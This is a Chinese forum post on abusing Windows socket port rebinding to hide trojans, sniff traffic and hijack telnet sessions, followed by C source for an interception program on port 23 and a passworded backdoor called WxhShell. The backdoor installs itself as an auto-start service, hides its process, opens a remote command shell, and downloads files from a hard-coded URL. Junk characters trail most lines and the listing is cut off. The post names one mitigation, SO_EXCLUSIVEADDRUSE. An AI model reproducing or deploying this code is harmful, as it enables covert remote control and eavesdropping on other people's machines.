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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !\JG]2 \  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rs~RKTv-  
,aV89"}  
  saddr.sin_family = AF_INET; .ZxSJ"Rk  
;.V 5:,&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }(Nb]_H  
<po.:c Ce  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7F4$k4r<  
dZ9[wkn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Os*,@N3t  
V7N8m<Tf  
  这意味着什么?意味着可以进行如下的攻击: {{ R/:-6?@  
pTOS}A[dh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?q7V B  
@Q !f^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {O5;V/00}  
f6PXcV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 64#~p)  
zbddn4bW9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mdypZ1f_  
.oO_x>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =9i:R!,W  
x/~V ZO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1FjA   
N12K*P[!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 702&E(rx,  
NVS U)#  
  #include )$P!7$C-  
  #include r5(OH3  
  #include `dMOBYV  
  #include    g`y >)N/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }pu2/44=W  
  int main() 4Yt:PN2  
  { ',z'.t  
  WORD wVersionRequested; (toGU  
  DWORD ret; 1MRt_*N4  
  WSADATA wsaData; *P$5k1  
  BOOL val; K~+y<z E  
  SOCKADDR_IN saddr;  M)Yu^  
  SOCKADDR_IN scaddr; 3_J9SwtN  
  int err; |5V#&e\ES  
  SOCKET s; |m"2B]"@  
  SOCKET sc; -F4CHpua  
  int caddsize; IA&((\YC  
  HANDLE mt; }{ pNasAU  
  DWORD tid;   :)q/8 0@  
  wVersionRequested = MAKEWORD( 2, 2 ); r*>XkM& M  
  err = WSAStartup( wVersionRequested, &wsaData ); 4^w>An6  
  if ( err != 0 ) { RB\>$D  
  printf("error!WSAStartup failed!\n"); / ]>&OSV  
  return -1; hnvn&{|  
  } ]QtdT8~  
  saddr.sin_family = AF_INET; xHJ+!   
   /6gqpzum4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \hc}xy 0  
JR$Dp&]I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'hVOK(o 0  
  saddr.sin_port = htons(23); :?RooJ~#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h K@1 s  
  { ORv[Gkq_N)  
  printf("error!socket failed!\n"); lR{eO~'~V  
  return -1; #| A @  
  } ~~;fWM '  
  val = TRUE; X z2IAiAs'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f>\?\!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +C/K@:p  
  { _t:rWC"X  
  printf("error!setsockopt failed!\n"); e l'^9K  
  return -1; 6y%BJU.I  
  } _66zXfM<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =k2+VI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H }uT'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  >pv~$  
2(5wFc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `2J6Dz"W  
  { }f^K}*sK$5  
  ret=GetLastError(); g5V9fnb!d  
  printf("error!bind failed!\n"); ;g^QH r  
  return -1; mf,mKgfG  
  } e|):%6#  
  listen(s,2); 2~2  
  while(1) RT)0I;  
  { WQv~<]1J F  
  caddsize = sizeof(scaddr); @-kzSm  
  //接受连接请求 , y{o!w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8s?;<6  
  if(sc!=INVALID_SOCKET) \&2GLBKpe  
  { ;#EB0TK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ny*M{}E  
  if(mt==NULL) %a8'6^k  
  { C(}9  
  printf("Thread Creat Failed!\n"); b\U Q6 V  
  break; fR5 NiH  
  } s]5wzbFO  
  } 7T_g?!sdMh  
  CloseHandle(mt); @s/;y VVq  
  }  42Gr0+Mb  
  closesocket(s); ? RB~%^c!  
  WSACleanup(); ]B3 0d  
  return 0; 5}*aP  
  }   6\\B{%3R2  
  DWORD WINAPI ClientThread(LPVOID lpParam) > :!faWX  
  { z\_q`43U7  
  SOCKET ss = (SOCKET)lpParam; $SG^, !!&A  
  SOCKET sc; vFL3eu#  
  unsigned char buf[4096]; -g IuL  
  SOCKADDR_IN saddr; T oy~\  
  long num; ItYG9a  
  DWORD val; /A_</GYs  
  DWORD ret; A. U<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @`wBe#+\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @r+ErFI  
  saddr.sin_family = AF_INET; &^ =t%A%#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z)P x6\?+  
  saddr.sin_port = htons(23); L(`^T`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '[qG ,^f  
  { K&BlWXT  
  printf("error!socket failed!\n"); }YU#} Ip@  
  return -1; X2dTV}~i  
  } baR{   
  val = 100; %+gze|J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !ye%A&  
  { VG&|fekF  
  ret = GetLastError(); %dw-}1X  
  return -1; q{yz]H,  
  } &r~~1BnpHm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /y@$|DI1  
  { B(Y{  
  ret = GetLastError(); 0m7J'gm{  
  return -1; %[lX  H  
  } e>nRJH8pK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,EcmMI^A  
  { "}7K>|a  
  printf("error!socket connect failed!\n"); kVkV~  
  closesocket(sc); >5/dmHPc  
  closesocket(ss); 2?Q IK3"v  
  return -1; C([;JO 11[  
  } *3S,XMS{O  
  while(1) $aE %W? \  
  { lk6mu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <~"qz*_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p'KU!I }  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <%>Q$b5  
  num = recv(ss,buf,4096,0); 9m!4U2N,s  
  if(num>0) Y&Pi`E9=  
  send(sc,buf,num,0); ``w,CP ?  
  else if(num==0) _m3PAD4  
  break; OjJlGElw  
  num = recv(sc,buf,4096,0); (mt,:hX  
  if(num>0) E|6X.Ny]   
  send(ss,buf,num,0); fU>"d>6!S  
  else if(num==0) i&mu=J[  
  break; Z=8 25[p  
  } 5SR 29Z[  
  closesocket(ss); ;]Y.2 J  
  closesocket(sc); Ywr^uy1V,/  
  return 0 ; t.lm`=  
  } A[htG\A` 0  
H&mw!=FV0  
%pL ,A5M  
========================================================== J^n(WnM*F  
3z\:{yl  
下边附上一个代码,,WXhSHELL ,_u8y&<|I  
VH#]67  
========================================================== rm2{PV<+d  
7k+UCi u>  
#include "stdafx.h" lsJ'dS  
C<qJnB:B 9  
#include <stdio.h> h(GgkTj4+  
#include <string.h> +s1+;VUs3  
#include <windows.h> 3<m"z9$  
#include <winsock2.h> HQ/PHUg2  
#include <winsvc.h> W$?1" F.  
#include <urlmon.h> bi#o1jR  
o2a`4K  
#pragma comment (lib, "Ws2_32.lib") ln9MVF'!&  
#pragma comment (lib, "urlmon.lib") ^Bm9y R  
^tc@bsUF  
#define MAX_USER   100 // 最大客户端连接数 "F"G(ba^  
#define BUF_SOCK   200 // sock buffer [K&O]s<Y  
#define KEY_BUFF   255 // 输入 buffer z[z'.{;D  
p*#SSR9<  
#define REBOOT     0   // 重启 Wj.)wr!  
#define SHUTDOWN   1   // 关机 =]-!  
D~NH 4B  
#define DEF_PORT   5000 // 监听端口 > ^n'  
f`/JY!u j{  
#define REG_LEN     16   // 注册表键长度 ;oob TW{  
#define SVC_LEN     80   // NT服务名长度 saU|.\l  
<MT_zET  
// 从dll定义API Zp- Av8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g 4Vt"2|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $qg5m,1?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d /Zt}{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lNqXx{!k  
3_^w/-7`B  
// wxhshell配置信息 5T8X2fS:  
struct WSCFG { 5_G7XBvD/w  
  int ws_port;         // 监听端口 kW6}57iV  
  char ws_passstr[REG_LEN]; // 口令 ^a<=@0|  
  int ws_autoins;       // 安装标记, 1=yes 0=no WAqR70{KM  
  char ws_regname[REG_LEN]; // 注册表键名 #mx;t3ja7  
  char ws_svcname[REG_LEN]; // 服务名 RL.%o?<&?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >hB]T%'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8{%/!ylJz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 akJ{-   
int ws_downexe;       // 下载执行标记, 1=yes 0=no mQ VduG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1m}'Y@I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F4kU) i  
&rcr])jg[  
}; 6NJ La|&n  
U NQup;#h  
// default Wxhshell configuration qLA  
struct WSCFG wscfg={DEF_PORT, Fypqf|  
    "xuhuanlingzhe", Ujq)h:`  
    1, FE/&<g0,:  
    "Wxhshell", ( 5_oH  
    "Wxhshell", AWD &K!  
            "WxhShell Service", ={={ W  
    "Wrsky Windows CmdShell Service", T_v  
    "Please Input Your Password: ", ou,W|<%  
  1, x9-K}s]%  
  "http://www.wrsky.com/wxhshell.exe", wnt^WW=a[  
  "Wxhshell.exe" ]y.,J  
    }; -7m;rD4J  
KGP2,U6  
// 消息定义模块 ScZ$&n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N;r,B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;u}MG3Y8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oJyC{G  
char *msg_ws_ext="\n\rExit."; X=${`n%LG  
char *msg_ws_end="\n\rQuit."; !Q#u i[0q  
char *msg_ws_boot="\n\rReboot..."; P,I3E?! j  
char *msg_ws_poff="\n\rShutdown..."; u`E_Q8  
char *msg_ws_down="\n\rSave to "; Q`r1pO  
*J1pxZ^  
char *msg_ws_err="\n\rErr!"; *DDfdn  
char *msg_ws_ok="\n\rOK!"; IGu*#>h  
,2&'8:B  
char ExeFile[MAX_PATH]; RDzL@xCcn  
int nUser = 0; ``aoLQc`  
HANDLE handles[MAX_USER]; >%Y.X38Z[  
int OsIsNt; >s[}f6*2@  
Z#7HuAF{]  
SERVICE_STATUS       serviceStatus; +1h^9 Y'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >a_K:O|AJ  
1;ZEuO  
// 函数声明 ?G!^ |^S*  
int Install(void); nez5z:7F  
int Uninstall(void); z0g$+bhy  
int DownloadFile(char *sURL, SOCKET wsh); bgYM  
int Boot(int flag); ^Ud`2 OW;2  
void HideProc(void); 6kIq6rWF9  
int GetOsVer(void); t MA  
int Wxhshell(SOCKET wsl); IQ2<Pinv  
void TalkWithClient(void *cs); ELY$ ]^T  
int CmdShell(SOCKET sock); 2z )h,<D  
int StartFromService(void); ,Z MYCl]  
int StartWxhshell(LPSTR lpCmdLine); w:z_EV!&  
r'xa' 6&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -J? df  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f4@Dn >BJ  
z81I2?v[Jr  
// 数据结构和表定义 BtU,1`El5  
SERVICE_TABLE_ENTRY DispatchTable[] = r~t&;yRv  
{ 4XX21<yn  
{wscfg.ws_svcname, NTServiceMain}, 4fP>;9[F  
{NULL, NULL} r10)1`[  
}; 2<u vz<B  
Z(xn-  
// 自我安装 `pII-dSC%  
int Install(void) rp(`V@x3  
{ qDcl;{L  
  char svExeFile[MAX_PATH]; *2;w;(-s  
  HKEY key; Y`lC4*g  
  strcpy(svExeFile,ExeFile); MzJ5_}  
<;v{`@\j{  
// 如果是win9x系统,修改注册表设为自启动 x6:$lZ(  
if(!OsIsNt) { ~POe0!}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #H7(dT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4I{|M,+  
  RegCloseKey(key); Eq'{uV:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QD\S E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RsTpjY*Xb  
  RegCloseKey(key); .z+QyNc:  
  return 0; )I!l:!Ij*D  
    } -#)xe W.d  
  } p9l&K/  
} n-H0cm  
else { _|*3uGo:  
J fsCkS  
// 如果是NT以上系统,安装为系统服务 ;]<$p[m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mRQ F5W6  
if (schSCManager!=0) .0\Wu+  
{ 5%tIAbGW  
  SC_HANDLE schService = CreateService nwO;>Qr  
  ( KwpNS(]I  
  schSCManager, {&K#~[)  
  wscfg.ws_svcname, p(f)u]1`  
  wscfg.ws_svcdisp, 3y 0`G8P'h  
  SERVICE_ALL_ACCESS, "b -KVZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o Q{gh$6*  
  SERVICE_AUTO_START,  0m*0I >  
  SERVICE_ERROR_NORMAL, *pI3"_  
  svExeFile, 2"V?+Hhz  
  NULL, $9Z8P_^.0(  
  NULL, eDTEy;^o  
  NULL, puMpUY  
  NULL, ';b/D   
  NULL <7^_M*F9  
  ); (sr_& 7A  
  if (schService!=0) /l:3* u  
  { =( Gv_  
  CloseServiceHandle(schService); 1s!hl{n<~  
  CloseServiceHandle(schSCManager); H6'xXS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w="I*7c@  
  strcat(svExeFile,wscfg.ws_svcname); Q@]#fW\Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M%9PVePOe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k}jH  
  RegCloseKey(key); ~rn82an@G  
  return 0; )G*H l^Z;4  
    } rBgLj,/`U/  
  } o @&#*3<_e  
  CloseServiceHandle(schSCManager); /i^b;?/1  
} ZH&%D*a&  
} EZBk;*= B  
c#CX~  
return 1; (M5=8g%>d  
} >@T ZYdl  
V=E9*$b]  
// 自我卸载 #a}fI  
int Uninstall(void) =A=er1~%  
{ {I(Euk>lR  
  HKEY key; K6|*-Wo.  
A "S})  
if(!OsIsNt) { 7CwG(c/5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b/O~f8t  
  RegDeleteValue(key,wscfg.ws_regname); ;Iv)J|*  
  RegCloseKey(key); %&z9^}Vd[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a*%>H(x  
  RegDeleteValue(key,wscfg.ws_regname); Ce`{M&NSWX  
  RegCloseKey(key); jsi\*5=9p<  
  return 0; o?hya.;h4  
  } D%Pq*=W  
} 6ng . =  
} qIO)Z   
else { DSET!F;PG  
Kw-E%7gh4c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); % YU(,83(+  
if (schSCManager!=0) EJZl'CR  
{ oD!72W_:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,v)@&1Wh:  
  if (schService!=0) .sjM$#V=  
  { z@<`]  
  if(DeleteService(schService)!=0) { 0v',+-  
  CloseServiceHandle(schService); ]S%qfna e1  
  CloseServiceHandle(schSCManager); F=d#$-yg  
  return 0; CS6,mX  
  } =b !f  
  CloseServiceHandle(schService); dwJ'hg  
  } MdEZ839J  
  CloseServiceHandle(schSCManager); X g.\B1d  
} r7w&p.?  
} G9}[g)R*  
/r}t  
return 1; E!3W_:Bs  
} xPsuDi8u  
htMpL  
// 从指定url下载文件 ]km8M^P  
int DownloadFile(char *sURL, SOCKET wsh) (x?A#o>%  
{ T#er5WOH  
  HRESULT hr; e&]XiV'  
char seps[]= "/"; "C}nS=]8m  
char *token; ::adT=  
char *file; 2eb :(D7Cq  
char myURL[MAX_PATH]; {kW!|h&'  
char myFILE[MAX_PATH]; rj<%_d'Z`  
0)9GkHVu(  
strcpy(myURL,sURL); ~v+& ?dg  
  token=strtok(myURL,seps); b6);bX>e  
  while(token!=NULL) pm<<!`w"  
  { }$m_):t@@  
    file=token; PO |p53  
  token=strtok(NULL,seps); m}F1sRkdQ  
  } 4*m\Zoq>  
##R]$-<4dQ  
GetCurrentDirectory(MAX_PATH,myFILE); C{Aeud #5  
strcat(myFILE, "\\"); .;*0odxv  
strcat(myFILE, file); > -k$:[l  
  send(wsh,myFILE,strlen(myFILE),0); m,)Re8W-  
send(wsh,"...",3,0); 97$y,a{6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^B]M- XG  
  if(hr==S_OK) inR8m 4c]P  
return 0; hQHV]xW  
else zPhNV8k-  
return 1; zif()i   
Wq"pKI#x  
} ap_(/W  
SznNvd <  
// 系统电源模块 ^@L  
int Boot(int flag) y"2#bq  
{ L`];i8=I  
  HANDLE hToken; c5O1h8  
  TOKEN_PRIVILEGES tkp; NIV&)`w  
4my8 p Fk  
  if(OsIsNt) { FC vR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H(n_g QAX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J,P7k$t2vv  
    tkp.PrivilegeCount = 1; (K0FWTmm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KOw Ew~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C7)].vUN  
if(flag==REBOOT) { 64>Zr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + Uj~zx@  
  return 0; GAz;4pUZ  
} Q.vtU%T  
else { I /> .P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |@V<}2zCZ  
  return 0; c$ 1ez  
} &8~U&g6C  
  } *:GoS?Ma  
  else { dL[mX .j"  
if(flag==REBOOT) {  q#MA A_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }ZR3  
  return 0; gzl_  "j  
} 5n?fZ?6(  
else { 6;5}% B:#h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (QqKttL:  
  return 0; =BNmuAY7  
} #l{qb]n]  
} *-` /A  
CUY2eQJ{U  
return 1; %Ix^Xb0  
} 2/(gf[elX  
tPFV6n i  
// win9x进程隐藏模块 ;QW)tv.y  
void HideProc(void) 3%k@,Vvt  
{ FnL~8otPF'  
qRB&R$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wp T.25  
  if ( hKernel != NULL ) syBYH5  
  { /XnI>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ TurYvf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &hqGGfVsd  
    FreeLibrary(hKernel); L3i\06M  
  } U .G*C  
5RZAs63t  
return; qmJFXnf  
} %o*afd  
>W 8!YOc  
// 获取操作系统版本 .X YSO  
int GetOsVer(void) QeU>%qKT  
{ kw?RUt0-V  
  OSVERSIONINFO winfo; |p3]9H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rp9uUJ 6o  
  GetVersionEx(&winfo); k6G23p[9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q$U;\Mg)  
  return 1; oX!s u  
  else -OVJ]  
  return 0; }7Pd\tG]  
} #YjV3O5<  
JWH}0+1*  
// 客户端句柄模块 WYI? M  
int Wxhshell(SOCKET wsl) NoiU5pP  
{ 1~ZDHfd5  
  SOCKET wsh; rpy`Wz/[  
  struct sockaddr_in client; SE%i@}  
  DWORD myID; Gvj@?62  
>TK`s@jdSV  
  while(nUser<MAX_USER) =:9n+7~$  
{ ;jI\MZ~l\  
  int nSize=sizeof(client); jS| (g##4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `^|mNh  
  if(wsh==INVALID_SOCKET) return 1; $]Y' [pE@  
a08B8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N!Kd VDdT|  
if(handles[nUser]==0) 574 b]  
  closesocket(wsh); ZtDHN L  
else X9zTz2 Fy  
  nUser++; gy~M]u{  
  } /WMG)#kw'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y\)bxmC  
^3AJYu  
  return 0; -/7[_,  
} Tcr&{S&o  
j+Wgjf  
// 关闭 socket (?q]E$ @  
void CloseIt(SOCKET wsh) .{)b^gE  
{ Z&J417buk  
closesocket(wsh); yTbBYx9Bi  
nUser--; RwT.B+Onuy  
ExitThread(0); bNIT 1'v  
} p 4(-  
r|rV1<d  
// 客户端请求句柄 cC WOG d  
void TalkWithClient(void *cs) I]ywO4  
{ zXZy:SD  
:sM|~gT  
  SOCKET wsh=(SOCKET)cs; lL%7lO   
  char pwd[SVC_LEN]; G{ F>=z"(l  
  char cmd[KEY_BUFF]; r_ r+&4n  
char chr[1]; 2c9@n9Vx3a  
int i,j; {zmo7~=  
ed*=p l3.  
  while (nUser < MAX_USER) { f{^n<\Jh  
( |O;Ci  
if(wscfg.ws_passstr) { 0qJ 3@d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 69q8t*%O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N9{ivq|fO  
  //ZeroMemory(pwd,KEY_BUFF); [o|]>(tk  
      i=0; ^k u~m5v  
  while(i<SVC_LEN) { hFQC%N. '  
Zad+)~@!tq  
  // 设置超时 -cIc&5CS  
  fd_set FdRead; yf_<o   
  struct timeval TimeOut; '_(oa<g  
  FD_ZERO(&FdRead); QZQ@C#PR;  
  FD_SET(wsh,&FdRead); ;|9VPv/  
  TimeOut.tv_sec=8; BAqu@F\):  
  TimeOut.tv_usec=0; q_HD`tW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9n9/[?S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QF-.")Z  
{jlm]<:&Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?;uzx7@F  
  pwd=chr[0]; .[K{;^>  
  if(chr[0]==0xd || chr[0]==0xa) { 9HP)@66  
  pwd=0; Oi l>bv8  
  break; 1Kwl_jf  
  } ilFM+x@  
  i++; RAf+%h*  
    } &QCqaJ-  
V 9=y@`;  
  // 如果是非法用户,关闭 socket w&f29#i;b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); unjo&  
} ;x+4jpH]B  
x2|DI)J1'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r@s, cCK9?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]l+2Ca:-[j  
ub.pJJlC  
while(1) { yu}4L'e  
,{zvGZ|  
  ZeroMemory(cmd,KEY_BUFF); `EWeJ(4Z@  
)Tb{O  
      // 自动支持客户端 telnet标准   4p %`Lv  
  j=0; S7N54X2JwL  
  while(j<KEY_BUFF) { @,zBZNX y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )t)tk=R9N  
  cmd[j]=chr[0]; dqd Qt_  
  if(chr[0]==0xa || chr[0]==0xd) { B%'Np7  
  cmd[j]=0; ,9W0fm \t  
  break; vi lNl|  
  } ,wZ[Y 3  
  j++; !gJAK<]iW  
    } R<JI  
Hi.JL  
  // 下载文件 >@]E1Qfe  
  if(strstr(cmd,"http://")) { ;'p0"\SV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 73N%_8DH  
  if(DownloadFile(cmd,wsh)) a.w,@!7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1d-j_ H`s  
  else %NxNZe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <NS= <'U  
  } xbn+9b  
  else { d@#=cvW  
5'oWd e  
    switch(cmd[0]) { #9 } Oqm  
  EHo"y.ODg  
  // 帮助 )%#hpP M^  
  case '?': { 9';0vrFeM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qZ8lU   
    break; rV2}> k  
  } n,xK7icYNQ  
  // 安装 1l1X1  
  case 'i': { S"N@.n[  
    if(Install()) LU;ma((yy[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D(Xv shQ  
    else |mci-ZT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mP:mzmUw  
    break; 5HOhk"  
    } ;5 IS58L  
  // 卸载 X>*zA?:  
  case 'r': { #2u-L~n  
    if(Uninstall()) Zvr(c|Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=CF | I  
    else -U; s,>\)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~jh Ov^  
    break; tK8\Ib J  
    } ?%;uR#4  
  // 显示 wxhshell 所在路径 Xwx;m/  
  case 'p': {  hi.{  
    char svExeFile[MAX_PATH]; ;B1}so1]  
    strcpy(svExeFile,"\n\r"); C,fIwqOr3  
      strcat(svExeFile,ExeFile); M_*w)<  
        send(wsh,svExeFile,strlen(svExeFile),0); e@ F& /c  
    break; yChC&kX Z+  
    } q:?g?v  
  // 重启 0imz }Z]  
  case 'b': { uy`U1>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '# (lq5 c  
    if(Boot(REBOOT)) ?$r+#'asd(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3&2,[G04  
    else { U ][.ioc  
    closesocket(wsh); V(w[`^I>~  
    ExitThread(0); ^P{'l^CVX  
    } hXM C!~Th  
    break; Ea P#~x  
    } +S3'ms  
  // 关机 %81tVhg  
  case 'd': { 9N'$Y*. d<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CQv [Od  
    if(Boot(SHUTDOWN)) -R&h?ec  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_wb!_  
    else { I s8|  
